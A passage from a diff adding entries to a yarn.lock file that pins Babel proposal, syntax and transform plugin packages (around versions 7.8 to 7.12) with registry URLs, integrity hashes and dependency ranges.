+"@babel/plugin-proposal-nullish-coalescing-operator@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.12.1.tgz#3ed4fff31c015e7f3f1467f190dbe545cd7b046c" + integrity sha512-nZY0ESiaQDI1y96+jk6VxMOaL4LPo/QDHBqL+SF3/vl6dHkTwHlOI8L4ZwuRBHgakRBw5zsVylel7QPbbGuYgg== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0" + +"@babel/plugin-proposal-nullish-coalescing-operator@^7.12.1", "@babel/plugin-proposal-nullish-coalescing-operator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.12.13.tgz#24867307285cee4e1031170efd8a7ac807deefde" + integrity sha512-Qoxpy+OxhDBI5kRqliJFAl4uWXk3Bn24WeFstPH0iLymFehSAUR8MHpqU7njyXv/qbo7oN6yTy5bfCmXdKpo1Q== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0" + +"@babel/plugin-proposal-numeric-separator@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.1.tgz#0e2c6774c4ce48be412119b4d693ac777f7685a6" + integrity sha512-MR7Ok+Af3OhNTCxYVjJZHS0t97ydnJZt/DbR4WISO39iDnhiD8XHrY12xuSJ90FFEGjir0Fzyyn7g/zY6hxbxA== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-syntax-numeric-separator" "^7.10.4" + +"@babel/plugin-proposal-numeric-separator@^7.12.1", "@babel/plugin-proposal-numeric-separator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.13.tgz#bd9da3188e787b5120b4f9d465a8261ce67ed1db" + integrity sha512-O1jFia9R8BUCl3ZGB7eitaAPu62TXJRHn7rh+ojNERCFyqRwJMTmhz+tJ+k0CwI6CLjX/ee4qW74FSqlq9I35w== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-numeric-separator" "^7.10.4" + +"@babel/plugin-proposal-object-rest-spread@^7.12.1", "@babel/plugin-proposal-object-rest-spread@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.12.13.tgz#f93f3116381ff94bc676fdcb29d71045cd1ec011" + integrity sha512-WvA1okB/0OS/N3Ldb3sziSrXg6sRphsBgqiccfcQq7woEn5wQLNX82Oc4PlaFcdwcWHuQXAtb8ftbS8Fbsg/sg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-object-rest-spread" "^7.8.0" + "@babel/plugin-transform-parameters" "^7.12.13" + +"@babel/plugin-proposal-optional-catch-binding@^7.12.1", "@babel/plugin-proposal-optional-catch-binding@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.12.13.tgz#4640520afe57728af14b4d1574ba844f263bcae5" + integrity sha512-9+MIm6msl9sHWg58NvqpNpLtuFbmpFYk37x8kgnGzAHvX35E1FyAwSUt5hIkSoWJFSAH+iwU8bJ4fcD1zKXOzg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-optional-catch-binding" "^7.8.0" + +"@babel/plugin-proposal-optional-chaining@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.12.1.tgz#cce122203fc8a32794296fc377c6dedaf4363797" + integrity sha512-c2uRpY6WzaVDzynVY9liyykS+kVU+WRZPMPYpkelXH8KBt1oXoI89kPbZKKG/jDT5UK92FTW2fZkZaJhdiBabw== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1" + "@babel/plugin-syntax-optional-chaining" "^7.8.0" + +"@babel/plugin-proposal-optional-chaining@^7.12.1", "@babel/plugin-proposal-optional-chaining@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.12.17.tgz#e382becadc2cb16b7913b6c672d92e4b33385b5c" + integrity sha512-TvxwI80pWftrGPKHNfkvX/HnoeSTR7gC4ezWnAL39PuktYUe6r8kEpOLTYnkBTsaoeazXm2jHJ22EQ81sdgfcA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1" + "@babel/plugin-syntax-optional-chaining" "^7.8.0" + +"@babel/plugin-proposal-private-methods@^7.12.1", "@babel/plugin-proposal-private-methods@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.12.13.tgz#ea78a12554d784ecf7fc55950b752d469d9c4a71" + integrity sha512-sV0V57uUwpauixvR7s2o75LmwJI6JECwm5oPUY5beZB1nBl2i37hc7CJGqB5G+58fur5Y6ugvl3LRONk5x34rg== + dependencies: + "@babel/helper-create-class-features-plugin" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-proposal-unicode-property-regex@^7.12.1", "@babel/plugin-proposal-unicode-property-regex@^7.12.13", "@babel/plugin-proposal-unicode-property-regex@^7.4.4": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz#bebde51339be829c17aaaaced18641deb62b39ba" + integrity sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg== + dependencies: + "@babel/helper-create-regexp-features-plugin" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-async-generators@^7.8.0", "@babel/plugin-syntax-async-generators@^7.8.4": + version "7.8.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d" + integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-bigint@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea" + integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-class-properties@^7.12.1", "@babel/plugin-syntax-class-properties@^7.12.13", "@babel/plugin-syntax-class-properties@^7.8.3": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10" + integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-decorators@^7.12.1": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.12.13.tgz#fac829bf3c7ef4a1bc916257b403e58c6bdaf648" + integrity sha512-Rw6aIXGuqDLr6/LoBBYE57nKOzQpz/aDkKlMqEwH+Vp0MXbG6H/TfRjaY343LKxzAKAMXIHsQ8JzaZKuDZ9MwA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-dynamic-import@^7.8.0": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3" + integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-export-namespace-from@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a" + integrity sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q== + dependencies: + "@babel/helper-plugin-utils" "^7.8.3" + +"@babel/plugin-syntax-flow@^7.12.1": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.12.13.tgz#5df9962503c0a9c918381c929d51d4d6949e7e86" + integrity sha512-J/RYxnlSLXZLVR7wTRsozxKT8qbsx1mNKJzXEEjQ0Kjx1ZACcyHgbanNWNCFtc36IzuWhYWPpvJFFoexoOWFmA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-import-meta@^7.8.3": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51" + integrity sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-json-strings@^7.8.0", "@babel/plugin-syntax-json-strings@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a" + integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-jsx@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz#044fb81ebad6698fe62c478875575bcbb9b70f15" + integrity sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-logical-assignment-operators@^7.10.4", "@babel/plugin-syntax-logical-assignment-operators@^7.8.3": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699" + integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9" + integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-numeric-separator@^7.10.4", "@babel/plugin-syntax-numeric-separator@^7.8.3": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97" + integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871" + integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-optional-catch-binding@^7.8.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1" + integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-optional-chaining@^7.8.0", "@babel/plugin-syntax-optional-chaining@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a" + integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-top-level-await@^7.12.1", "@babel/plugin-syntax-top-level-await@^7.12.13", "@babel/plugin-syntax-top-level-await@^7.8.3": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz#c5f0fa6e249f5b739727f923540cf7a806130178" + integrity sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-typescript@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.12.13.tgz#9dff111ca64154cef0f4dc52cf843d9f12ce4474" + integrity sha512-cHP3u1JiUiG2LFDKbXnwVad81GvfyIOmCD6HIEId6ojrY0Drfy2q1jw7BwN7dE84+kTnBjLkXoL3IEy/3JPu2w== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-arrow-functions@^7.12.1", "@babel/plugin-transform-arrow-functions@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.12.13.tgz#eda5670b282952100c229f8a3bd49e0f6a72e9fe" + integrity sha512-tBtuN6qtCTd+iHzVZVOMNp+L04iIJBpqkdY42tWbmjIT5wvR2kx7gxMBsyhQtFzHwBbyGi9h8J8r9HgnOpQHxg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-async-to-generator@^7.12.1", "@babel/plugin-transform-async-to-generator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.12.13.tgz#fed8c69eebf187a535bfa4ee97a614009b24f7ae" + integrity sha512-psM9QHcHaDr+HZpRuJcE1PXESuGWSCcbiGFFhhwfzdbTxaGDVzuVtdNYliAwcRo3GFg0Bc8MmI+AvIGYIJG04A== + dependencies: + "@babel/helper-module-imports" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-remap-async-to-generator" "^7.12.13" + +"@babel/plugin-transform-block-scoped-functions@^7.12.1", "@babel/plugin-transform-block-scoped-functions@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz#a9bf1836f2a39b4eb6cf09967739de29ea4bf4c4" + integrity sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-block-scoping@^7.12.1", "@babel/plugin-transform-block-scoping@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz#f36e55076d06f41dfd78557ea039c1b581642e61" + integrity sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-classes@^7.12.1", "@babel/plugin-transform-classes@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.12.13.tgz#9728edc1838b5d62fc93ad830bd523b1fcb0e1f6" + integrity sha512-cqZlMlhCC1rVnxE5ZGMtIb896ijL90xppMiuWXcwcOAuFczynpd3KYemb91XFFPi3wJSe/OcrX9lXoowatkkxA== + dependencies: + "@babel/helper-annotate-as-pure" "^7.12.13" + "@babel/helper-function-name" "^7.12.13" + "@babel/helper-optimise-call-expression" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-replace-supers" "^7.12.13" + "@babel/helper-split-export-declaration" "^7.12.13" + globals "^11.1.0" + +"@babel/plugin-transform-computed-properties@^7.12.1", "@babel/plugin-transform-computed-properties@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.12.13.tgz#6a210647a3d67f21f699cfd2a01333803b27339d" + integrity sha512-dDfuROUPGK1mTtLKyDPUavmj2b6kFu82SmgpztBFEO974KMjJT+Ytj3/oWsTUMBmgPcp9J5Pc1SlcAYRpJ2hRA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-destructuring@^7.12.1", "@babel/plugin-transform-destructuring@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.12.13.tgz#fc56c5176940c5b41735c677124d1d20cecc9aeb" + integrity sha512-Dn83KykIFzjhA3FDPA1z4N+yfF3btDGhjnJwxIj0T43tP0flCujnU8fKgEkf0C1biIpSv9NZegPBQ1J6jYkwvQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-dotall-regex@^7.12.1", "@babel/plugin-transform-dotall-regex@^7.12.13", "@babel/plugin-transform-dotall-regex@^7.4.4": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz#3f1601cc29905bfcb67f53910f197aeafebb25ad" + integrity sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ== + dependencies: + "@babel/helper-create-regexp-features-plugin" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-duplicate-keys@^7.12.1", "@babel/plugin-transform-duplicate-keys@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz#6f06b87a8b803fd928e54b81c258f0a0033904de" + integrity sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-exponentiation-operator@^7.12.1", "@babel/plugin-transform-exponentiation-operator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz#4d52390b9a273e651e4aba6aee49ef40e80cd0a1" + integrity sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA== + dependencies: + "@babel/helper-builder-binary-assignment-operator-visitor" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-flow-strip-types@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.12.1.tgz#8430decfa7eb2aea5414ed4a3fa6e1652b7d77c4" + integrity sha512-8hAtkmsQb36yMmEtk2JZ9JnVyDSnDOdlB+0nEGzIDLuK4yR3JcEjfuFPYkdEPSh8Id+rAMeBEn+X0iVEyho6Hg== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-syntax-flow" "^7.12.1" + +"@babel/plugin-transform-for-of@^7.12.1", "@babel/plugin-transform-for-of@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.12.13.tgz#561ff6d74d9e1c8879cb12dbaf4a14cd29d15cf6" + integrity sha512-xCbdgSzXYmHGyVX3+BsQjcd4hv4vA/FDy7Kc8eOpzKmBBPEOTurt0w5fCRQaGl+GSBORKgJdstQ1rHl4jbNseQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-function-name@^7.12.1", "@babel/plugin-transform-function-name@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz#bb024452f9aaed861d374c8e7a24252ce3a50051" + integrity sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ== + dependencies: + "@babel/helper-function-name" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-literals@^7.12.1", "@babel/plugin-transform-literals@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz#2ca45bafe4a820197cf315794a4d26560fe4bdb9" + integrity sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-member-expression-literals@^7.12.1", "@babel/plugin-transform-member-expression-literals@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz#5ffa66cd59b9e191314c9f1f803b938e8c081e40" + integrity sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-modules-amd@^7.12.1", "@babel/plugin-transform-modules-amd@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.12.13.tgz#43db16249b274ee2e551e2422090aa1c47692d56" + integrity sha512-JHLOU0o81m5UqG0Ulz/fPC68/v+UTuGTWaZBUwpEk1fYQ1D9LfKV6MPn4ttJKqRo5Lm460fkzjLTL4EHvCprvA== + dependencies: + "@babel/helper-module-transforms" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + babel-plugin-dynamic-import-node "^2.3.3" + +"@babel/plugin-transform-modules-commonjs@^7.12.1", "@babel/plugin-transform-modules-commonjs@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.12.13.tgz#5043b870a784a8421fa1fd9136a24f294da13e50" + integrity sha512-OGQoeVXVi1259HjuoDnsQMlMkT9UkZT9TpXAsqWplS/M0N1g3TJAn/ByOCeQu7mfjc5WpSsRU+jV1Hd89ts0kQ== + dependencies: + "@babel/helper-module-transforms" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-simple-access" "^7.12.13" + babel-plugin-dynamic-import-node "^2.3.3" + +"@babel/plugin-transform-modules-systemjs@^7.12.1", "@babel/plugin-transform-modules-systemjs@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.12.13.tgz#351937f392c7f07493fc79b2118201d50404a3c5" + integrity sha512-aHfVjhZ8QekaNF/5aNdStCGzwTbU7SI5hUybBKlMzqIMC7w7Ho8hx5a4R/DkTHfRfLwHGGxSpFt9BfxKCoXKoA== + dependencies: + "@babel/helper-hoist-variables" "^7.12.13" + "@babel/helper-module-transforms" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-validator-identifier" "^7.12.11" + babel-plugin-dynamic-import-node "^2.3.3" + +"@babel/plugin-transform-modules-umd@^7.12.1", "@babel/plugin-transform-modules-umd@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.12.13.tgz#26c66f161d3456674e344b4b1255de4d530cfb37" + integrity sha512-BgZndyABRML4z6ibpi7Z98m4EVLFI9tVsZDADC14AElFaNHHBcJIovflJ6wtCqFxwy2YJ1tJhGRsr0yLPKoN+w== + dependencies: + "@babel/helper-module-transforms" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-named-capturing-groups-regex@^7.12.1", "@babel/plugin-transform-named-capturing-groups-regex@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz#2213725a5f5bbbe364b50c3ba5998c9599c5c9d9" + integrity sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA== + dependencies: + "@babel/helper-create-regexp-features-plugin" "^7.12.13" + +"@babel/plugin-transform-new-target@^7.12.1", "@babel/plugin-transform-new-target@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz#e22d8c3af24b150dd528cbd6e685e799bf1c351c" + integrity sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-object-super@^7.12.1", "@babel/plugin-transform-object-super@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz#b4416a2d63b8f7be314f3d349bd55a9c1b5171f7" + integrity sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-replace-supers" "^7.12.13" + +"@babel/plugin-transform-parameters@^7.12.1", "@babel/plugin-transform-parameters@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.12.13.tgz#461e76dfb63c2dfd327b8a008a9e802818ce9853" + integrity sha512-e7QqwZalNiBRHCpJg/P8s/VJeSRYgmtWySs1JwvfwPqhBbiWfOcHDKdeAi6oAyIimoKWBlwc8oTgbZHdhCoVZA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-property-literals@^7.12.1", "@babel/plugin-transform-property-literals@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz#4e6a9e37864d8f1b3bc0e2dce7bf8857db8b1a81" + integrity 